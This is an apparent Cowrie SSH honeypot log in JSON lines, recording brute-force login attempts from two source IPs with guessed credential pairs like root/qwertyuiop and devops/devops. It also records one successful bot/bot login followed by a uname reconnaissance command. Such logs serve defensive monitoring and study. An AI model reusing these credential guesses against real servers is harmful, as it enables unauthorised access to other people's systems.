{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:09.720524Z","src_ip":"91.92.40.171","session":"bc21192048a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:09.979052Z","src_ip":"91.92.40.171","session":"bc21192048a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:10.029390Z","src_ip":"91.92.42.133","session":"f53afe01c8b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:10.278626Z","src_ip":"91.92.40.171","session":"414ad2d093a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:11.076790Z","src_ip":"91.92.40.171","session":"bc21192048a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:11.742257Z","src_ip":"91.92.40.171","session":"414ad2d093a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:11.938846Z","src_ip":"91.92.42.133","session":"f53afe01c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56698,"dst_ip":"159.203.135.109","dst_port":22,"session":"7905c2744b3d","protocol":"ssh","message":"New connection: 91.92.42.133:56698 (159.203.135.109:22) [session: 7905c2744b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:14.447423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:14.957771Z","src_ip":"91.92.42.133","session":"7905c2744b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:14.960809Z","src_ip":"91.92.42.133","session":"7905c2744b3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46634,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7fad98310d9","protocol":"ssh","message":"New connection: 91.92.40.171:46634 (159.203.135.109:22) [session: e7fad98310d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:16.747484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:16.770283Z","src_ip":"91.92.40.171","session":"e7fad98310d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:17.511168Z","src_ip":"91.92.42.133","session":"7905c2744b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:17.653365Z","src_ip":"91.92.40.171","session":"e7fad98310d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:18.991472Z","src_ip":"91.92.42.133","session":"7905c2744b3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:21.240778Z","src_ip":"91.92.40.171","session":"e7fad98310d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46712,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dfedcfefdcc","protocol":"ssh","message":"New connection: 91.92.40.171:46712 (159.203.135.109:22) [session: 7dfedcfefdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:21.330691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:21.399264Z","src_ip":"91.92.40.171","session":"7dfedcfefdcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:21.475090Z","src_ip":"91.92.40.171","session":"7dfedcfefdcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:21.863893Z","src_ip":"91.92.40.171","session":"7dfedcfefdcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:22.991068Z","src_ip":"91.92.40.171","session":"7dfedcfefdcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:23.093491Z","src_ip":"91.92.40.171","session":"e7fad98310d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35384,"dst_ip":"159.203.135.109","dst_port":22,"session":"a29620503d6f","protocol":"ssh","message":"New connection: 91.92.42.133:35384 (159.203.135.109:22) [session: a29620503d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:23.236196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:23.289278Z","src_ip":"91.92.42.133","session":"a29620503d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:23.375266Z","src_ip":"91.92.42.133","session":"a29620503d6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:23.980703Z","src_ip":"91.92.42.133","session":"a29620503d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:25.280892Z","src_ip":"91.92.42.133","session":"a29620503d6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":32934,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf00ba87d416","protocol":"ssh","message":"New connection: 91.92.40.171:32934 (159.203.135.109:22) [session: cf00ba87d416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:27.032261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:27.197110Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:27.200244Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:28.105587Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:28.477722Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:28.481036Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:28.633087Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:28.638242Z","src_ip":"91.92.40.171","session":"cf00ba87d416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46250,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ac045a7573","protocol":"ssh","message":"New connection: 91.92.42.133:46250 (159.203.135.109:22) [session: e0ac045a7573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:30.861764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:31.102208Z","src_ip":"91.92.42.133","session":"e0ac045a7573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:31.105325Z","src_ip":"91.92.42.133","session":"e0ac045a7573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"password","message":"login attempt [jellyfin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:32.034959Z","src_ip":"91.92.42.133","session":"e0ac045a7573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:33.314656Z","src_ip":"91.92.42.133","session":"e0ac045a7573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"07d1443b4759","protocol":"ssh","message":"New connection: 91.92.40.171:32992 (159.203.135.109:22) [session: 07d1443b4759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:33.962898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:34.032302Z","src_ip":"91.92.40.171","session":"07d1443b4759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:34.729945Z","src_ip":"91.92.40.171","session":"07d1443b4759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:36.750744Z","src_ip":"91.92.40.171","session":"07d1443b4759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47762,"dst_ip":"159.203.135.109","dst_port":22,"session":"63df409b1aff","protocol":"ssh","message":"New connection: 91.92.42.133:47762 (159.203.135.109:22) [session: 63df409b1aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:17:38.118817Z"}
